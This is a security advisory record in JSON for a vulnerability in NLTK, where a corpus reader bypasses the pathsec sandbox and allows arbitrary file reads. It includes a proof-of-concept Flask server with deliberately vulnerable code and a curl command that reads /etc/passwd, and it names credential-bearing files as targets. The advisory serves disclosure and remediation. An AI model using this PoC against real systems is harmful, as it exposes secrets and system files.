CVE-2026-63312: NLTK Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-x5ph-mj9p-rfr8",
  "modified" : "2026-09-08T15:27:33Z",
  "published" : "2026-09-08T15:27:32Z",
  "aliases" : [ "CVE-2026-63312" ],
  "summary" : "NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read",
  "details" : "## Summary\nSetting `nltk.pathsec.ENFORCE = True` is documented to sandbox all file access to allowed NLTK data directories and raise `PermissionError` on unauthorized access. However, `StreamBackedCorpusView` opens files via `builtins.open()` directly, bypassing `pathsec.validate_path()` entirely. An attacker who can influence the `fileid` argument can read arbitrary local files regardless of the `ENFORCE` setting.\n\n## Details\n`nltk/pathsec.py:274` defines the enforcement point:\n```python\ndef open(file, mode=\"r\", **kwargs):\n    validate_path(file, context=\"pathsec.open\")\n    return builtins.open(file, mode=mode, **kwargs)\n```\n\n`StreamBackedCorpusView._open()` in `nltk/corpus/reader/util.py` bypasses this entirely for string paths:\n\n```python\n# line 171 — no validate_path() call\nself._eofpos = os.stat(self._fileid).st_size\n\n# line 208 — calls builtins.open directly\nself._stream = open(self._fileid, \"rb\")\n```\n\nAlso affected: `XMLCorpusView` and any corpus reader subclass that passes a raw string `fileid` to `StreamBackedCorpusView`.\n\n## PoC\n```python\n# poc_server.py — StreamBackedCorpusView pathsec.ENFORCE bypass\nfrom flask import Flask, request, jsonify\nimport nltk.pathsec as ps\nfrom nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block\n\n# Strict mode enabled — expected to sandbox all file access\nps.ENFORCE = True\n\napp = Flask(__name__)\n\n@app.post(\"/read\")\ndef read_file():\n    fname = request.json.get(\"file\")\n    # fileid is user-controlled, passed directly to StreamBackedCorpusView\n    # pathsec.ENFORCE = True is ignored — builtins.open() called internally\n    view = StreamBackedCorpusView(fname, read_line_block, encoding=\"utf8\")\n    return jsonify({\"file\": fname, \"content\": view[0]})\n\napp.run(host=\"0.0.0.0\", port=8000)\n```\nTrigger:\n```\ncurl -s -X POST http://localhost:8000/read \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"file\": \"/etc/passwd\"}'\n```\nConfirmed on latest stable NLTK. No privileges required.\n\n## Impact\n- **Type:** Arbitrary Local File Read / Security Control Bypass\n- **CWE:** CWE-22, CWE-284\n- **OWASP:** A01:2021 – Broken Access Control\n\nAffects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the `fileid` passed to NLTK corpus readers. Sensitive targets include `/etc/passwd`, `/proc/self/environ` (may contain `AWS_SECRET_ACCESS_KEY`, `DATABASE_URL`, etc.), and application config files.\n\nThe core issue is that operators who explicitly set `ENFORCE = True` to harden production deployments are left with a **false security guarantee**.\n\n**Suggested fix:** Replace `builtins.open()` and `os.stat()` in the string-path branch with `nltk.pathsec.open()` and `nltk.pathsec.validate_path()`.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "nltk"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.10.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.9.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/security/advisories/GHSA-x5ph-mj9p-rfr8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-63312"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/pull/3588"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/commit/674ea75accdf08eca3782dee0a9c4ed7e0d0025b"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nltk/nltk"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nltk/nltk/releases/tag/v3.10.0"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3730.yaml"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/nltk-streambackedcorpusview-bypasses-pathsec-enforce-arbitrary-file-read"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T15:27:32Z",
    "nvd_published_at" : null
  }
}